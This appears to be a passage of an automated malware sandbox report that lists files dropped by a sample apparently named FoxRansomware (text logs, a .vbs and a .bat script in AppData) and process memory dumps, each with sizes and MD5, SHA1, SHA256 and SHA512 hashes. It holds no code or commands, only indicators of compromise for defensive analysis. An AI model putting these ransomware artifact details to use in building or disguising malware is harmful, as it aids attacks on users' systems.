fccfcd4a62284200432d3f598910647d2b15e396

SHA256
945d733e573f2606a5913180b7af48358f2f6d930c2c703f3454b49c2404e762

SHA512
75938158abb8e93ddf1fa2d1f96c0a3b60586cc137e9bb11f815ff7d68b0a1d32b65ef16900c22057a518f1fc51099811e88493002d788821adb66c15e5a6a6b

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\Ru5I25u4.txt

Filesize
16B

MD5
17d432845dc7cb55ac69d75cf72f7f5d

SHA1
7f3b6e6ab91b3a13c0611fe6e95befab691d5cc3

SHA256
a7cd0523e7aca4fd8db39d49ce1fe6198b92956509bd360dae646798c2a251a4

SHA512
25054cd4ec03675f28d0aa1aa09b691beacb9f9a1cf538179777d74a713e97457c39d56c787becc378fcdc31c62cbdf56546f8cee41f5f99f11b8798663104e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_2B33F6924F7A3EFB.txt

Filesize
22KB

MD5
2639e6ae8daaa0867cbe703a6e0e6a21

SHA1
ea70b45eeb3f105448ab52aefd25bc71fa9a2505

SHA256
e780663a3e8374590fc4c108db26af7e49bc1f786ff71e9dd988d163b63739c5

SHA512
bf662f334f3e79a8bbae45263501ef34b07da0bc036b3ebfec88b27bcab34a47b7e7b8753f5b3b788302ec1c9fe83b38e02d68bf78f0ca3c6a60273c8d6cd436

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_2B33F6924F7A3EFB.txt

Filesize
305B

MD5
6462c4a907222906e0518485fd90ca19

SHA1
227c2b4cf50b1c0b8c1f019833196a50ace36354

SHA256
ceb39b99e116412b703f878caace55bd944bce0da42fc9b2cdce5769810f20de

SHA512
56bd88245471843c086cd67bf62caba466b9b81b2e0ff712ae476efccec058585ea4c81b3bd6c9640b4bb19300a8f81e5af89733c11596dd12304a81587129c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_2B33F6924F7A3EFB.txt

Filesize
445B

MD5
a9eb7512ef5de1b139a2f7fd0d57676c

SHA1
842838acfdb2debef4cfd8bc7bbf29f38efcc059

SHA256
7cad4520d6172343a96e446b64f9af13afa8f349b5f2e8691cf51681f65cba3c

SHA512
ba62e600849c0abaf4751a6b40f9c67ec4fe9d631ec4206edf53e6a68a16cb482b2df59b1ba7c7d2a9ddd078ee1b6390207e353d6d3b74eb43b9b5f8d2a0a9fc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wtzrl5tv.hgv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\4kvQvUZN.vbs

Filesize
260B

MD5
0d73584d55cbf69a87242bf3d528043b

SHA1
19aa53275a094dc60b6c3ed827c98d3e4b338065

SHA256
1599daf439f93fc5dbdc9fabe7c2cf80f57a36284cc7b85f1612f65ca3bfb2c9

SHA512
6a04d909a170dd35b35c3821723e4e8b65206ad80e16998313557cfd491c4bb03e07e4bca9f77649461f7d8e1fc67f2b9625061319dd6a2644a700042f2ea42b

Download Submit
C:\Users\Admin\AppData\Roaming\AGD52VLi.bat

Filesize
415B

MD5
e81891460af5e4e4ef2346b0f4c4af5a

SHA1
b1d9d462d460f1499496bb64d5d5ae97f2b59508

SHA256
339fc62fe9969ee156b1f68273db76cb08497344d21341734236f30790110c06

SHA512
224140b1b20b88d256669d86a418332832b1f999a612c3cbd6a307888b2db40cc0c60324e754530b7b5ed4490c753d7ccf9c17b3353a462130edde9c7e57cd61

Download Submit
memory/1876-15092-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/1876-560-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/1876-12834-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/1876-8-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/1876-6007-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/1876-11241-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/2560-22-0x0000000005A60000-0x0000000005AC6000-memory.dmp

Filesize
408KB

Download
memory/2560-14-0x00000000052E0000-0x0000000005908000-memory.dmp

Filesize
6.2MB

Download
memory/2560-10-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/2560-13-0x0000000004CA0000-0x0000000004CB0000-memory.dmp

Filesize
64KB

Download
memory/2560-12-0x0000000004AB0000-0x0000000004AE6000-memory.dmp

Filesize
216KB

Download
memory/2560-15-0x00000000052B0000-0x00000000052D2000-memory.dmp

Filesize
136KB

Download
memory/2560-16-0x0000000005980000-0x00000000059E6000-memory.dmp

Filesize
408KB

Download
memory/2560-23-0x0000000005AD0000-0x0000000005E24000-memory.dmp

Filesize
3.3MB

Download
memory/2560-28-0x0000000006090000-0x00000000060AE000-memory.dmp

Filesize
120KB

Download
memory/2560-29-0x00000000060B0000-0x00000000060FC000-memory.dmp

Filesize
304KB

Download
memory/2560-31-0x0000000004CA0000-0x0000000004CB0000-memory.dmp

Filesize
64KB

Download
memory/2560-36-0x0000000074950000-0x0000000075100000-memory.dmp

Filesize
7.7MB

Download
memory/2560-33-0x0000000006590000-0x00000000065AA000-memory.dmp

Filesize
104KB

Download
memory/2560-32-0x00000000078E0000-0x0000000007F5A000-memory.dmp

Filesize
6.5MB

Download
memory/4008-6328-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/4008-3080-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/4008-7-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/4008-11307-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/4008-14605-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/4008-4825-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/4008-15299-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/4008-9-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/4008-14221-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/4008-1287-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/4008-8817-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/4560-6005-0x00007FFFA34B0000-0x00007FFFA3F71000-memory.dmp

Filesize
10.8MB

Download
memory/4560-11352-0x00007FFFA34B0000-0x00007FFFA3F71000-memory.dmp

Filesize
10.8MB

Download
memory/4560-5517-0x000001E6462A0000-0x000001E6462C2000-memory.dmp

Filesize
136KB

Download
memory/5568-561-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5568-2052-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download